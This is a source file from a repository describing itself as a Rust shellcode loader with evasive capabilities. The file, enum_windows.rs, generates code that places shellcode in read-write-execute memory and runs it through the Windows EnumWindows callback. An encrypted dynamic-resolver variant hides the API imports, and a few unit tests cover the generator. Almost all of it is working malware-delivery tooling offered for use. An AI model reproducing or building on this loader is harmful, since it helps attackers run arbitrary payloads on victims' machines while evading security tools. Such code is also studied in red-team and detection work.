myph-v2.git


myph-v2

~ rust shellcode loader with evasive capabilities
git clone https://github.com/djnnvx/myph-v2.git
log | files | refs | archive | README

enum_windows.rs (5699B)

      1 pub fn enum_windows_import() -> String {
      2     r#"
      3 use std::ptr;
      4 "#
      5     .to_string()
      6 }
      7 
      8 pub fn enum_windows_const() -> String {
      9     r#"
     10 const MEM_COMMIT: u32 = 0x1000;
     11 const MEM_RESERVE: u32 = 0x2000;
     12 const PAGE_EXECUTE_READWRITE: u32 = 0x40;
     13 
     14 #[link(name = "user32")]
     15 extern "system" {
     16     fn EnumWindows(
     17         callback: *const std::ffi::c_void,
     18         lparam: isize,
     19     ) -> i32;
     20 }
     21 
     22 #[link(name = "ntdll")]
     23 extern "system" {
     24     fn RtlCopyMemory(
     25         destination: *mut std::ffi::c_void,
     26         source: *const std::ffi::c_void,
     27         length: usize,
     28     );
     29 }
     30 "#
     31     .to_string()
     32 }
     33 
     34 pub fn enum_windows_init() -> String {
     35     String::new()
     36 }
     37 
     38 pub fn enum_windows_process() -> String {
     39     r#"
     40     unsafe {
     41         let addr = VirtualAlloc(
     42             ptr::null_mut(),
     43             shellcode.len(),
     44             MEM_COMMIT | MEM_RESERVE,
     45             PAGE_EXECUTE_READWRITE,
     46         );
     47 
     48         if addr.is_null() {
     49             panic!("failed");
     50         }
     51 
     52         RtlCopyMemory(
     53             addr,
     54             shellcode.as_ptr() as *const std::ffi::c_void,
     55             shellcode.len(),
     56         );
     57 
     58         let result = EnumWindows(addr, 0);
     59 
     60         if result == 0 {
     61             panic!("failed");
     62         }
     63     }
     64 "#
     65     .to_string()
     66 }
     67 
     68 fn generate_enum_windows_template(function_name: &str) -> String {
     69     super::common::TechniqueTemplateBuilder::new()
     70         .with_import(enum_windows_import())
     71         .with_const(enum_windows_const())
     72         .with_init(enum_windows_init())
     73         .with_process(enum_windows_process())
     74         .build(function_name)
     75 }
     76 
     77 pub fn generate_enum_windows_code(function_name: &str) -> String {
     78     generate_enum_windows_template(function_name)
     79 }
     80 
     81 fn enum_windows_process_with_dynamic_resolver(
     82     encryptor: &dyn crate::encryption::Encryptor,
     83 ) -> Result<String, String> {
     84     use super::dynamic_common::*;
     85 
     86     let virtual_alloc = virtual_alloc_resolver(encryptor)?;
     87     let rtl_copy_memory = rtl_copy_memory_resolver(encryptor)?;
     88     let enum_windows = enum_windows_resolver(encryptor)?;
     89 
     90     Ok(format!(
     91         r#"
     92     unsafe {{
     93         {virtual_alloc_resolver}
     94         {virtual_alloc_cast}
     95 
     96         let addr = virtual_alloc(
     97             ptr::null(),
     98             shellcode.len(),
     99             MEM_COMMIT | MEM_RESERVE,
    100             PAGE_EXECUTE_READWRITE,
    101         );
    102 
    103         if addr.is_null() {{
    104             panic!("failed");
    105         }}
    106 
    107         {rtl_copy_memory_resolver}
    108         {rtl_copy_memory_cast}
    109 
    110         rtl_copy_memory(
    111             addr,
    112             shellcode.as_ptr() as *const std::ffi::c_void,
    113             shellcode.len(),
    114         );
    115 
    116         {enum_windows_resolver}
    117         {enum_windows_cast}
    118 
    119         let result = enum_windows(addr, 0);
    120 
    121         if result == 0 {{
    122             panic!("failed");
    123         }}
    124     }}
    125 "#,
    126         virtual_alloc_resolver = virtual_alloc.resolver_code,
    127         virtual_alloc_cast = virtual_alloc.cast_code,
    128         rtl_copy_memory_resolver = rtl_copy_memory.resolver_code,
    129         rtl_copy_memory_cast = rtl_copy_memory.cast_code,
    130         enum_windows_resolver = enum_windows.resolver_code,
    131         enum_windows_cast = enum_windows.cast_code,
    132     ))
    133 }
    134 
    135 fn generate_enum_windows_template_with_dynamic_resolver(
    136     function_name: &str,
    137     _encryption_type: &str,
    138     encryptor: &dyn crate::encryption::Encryptor,
    139 ) -> Result<String, String> {
    140     let process_code = enum_windows_process_with_dynamic_resolver(encryptor)?;
    141 
    142     Ok(super::common::TechniqueTemplateBuilder::new()
    143         .with_import(enum_windows_import())
    144         .with_const(enum_windows_const())
    145         .with_init(enum_windows_init())
    146         .with_process(process_code)
    147         .build(function_name))
    148 }
    149 
    150 pub fn generate_enum_windows_code_with_dynamic_resolver(
    151     function_name: &str,
    152     encryption_type: &str,
    153     encryptor: &dyn crate::encryption::Encryptor,
    154 ) -> String {
    155     generate_enum_windows_template_with_dynamic_resolver(function_name, encryption_type, encryptor)
    156         .unwrap_or_else(|err| {
    157             panic!(
    158                 "Failed to generate EnumWindows code with dynamic resolver (encryption: {}): {}",
    159                 encryption_type, err
    160             )
    161         })
    162 }
    163 
    164 pub struct EnumWindowsGenerator;
    165 
    166 impl super::trait_generator::TechniqueGenerator for EnumWindowsGenerator {
    167     fn generate_code(&self, _process: &str, function_name: &str) -> String {
    168         generate_enum_windows_code(function_name)
    169     }
    170 
    171     fn generate_code_with_dynamic_resolver(
    172         &self,
    173         _process: &str,
    174         function_name: &str,
    175         encryption_type: &str,
    176         encryptor: &dyn crate::encryption::Encryptor,
    177     ) -> String {
    178         generate_enum_windows_code_with_dynamic_resolver(function_name, encryption_type, encryptor)
    179     }
    180 
    181     fn requires_process(&self) -> bool {
    182         false
    183     }
    184 
    185     fn name(&self) -> &'static str {
    186         "EnumWindows"
    187     }
    188 }
    189 
    190 #[cfg(test)]
    191 mod tests {
    192     use super::*;
    193 
    194     #[test]
    195     fn test_generate_enum_windows_template_contains_all_parts() {
    196         let template = generate_enum_windows_template("MyFunction");
    197         assert!(template.contains("use std::ptr"));
    198         assert!(template.contains("MEM_COMMIT"));
    199         assert!(template.contains("fn MyFunction"));
    200         assert!(template.contains("VirtualAlloc"));
    201         assert!(template.contains("EnumWindows"));
    202     }
    203 
    204     #[test]
    205     fn test_generate_enum_windows_code() {
    206         let code = generate_enum_windows_code("MyRandomFunc");
    207         assert!(code.contains("fn MyRandomFunc"));
    208         assert!(code.contains("EnumWindows"));
    209     }
    210 
    211     #[test]
    212     fn test_enum_windows_does_not_use_process_param() {
    213         let code = generate_enum_windows_code("TestFunc");
    214         assert!(!code.contains("notepad.exe"));
    215     }
    216 }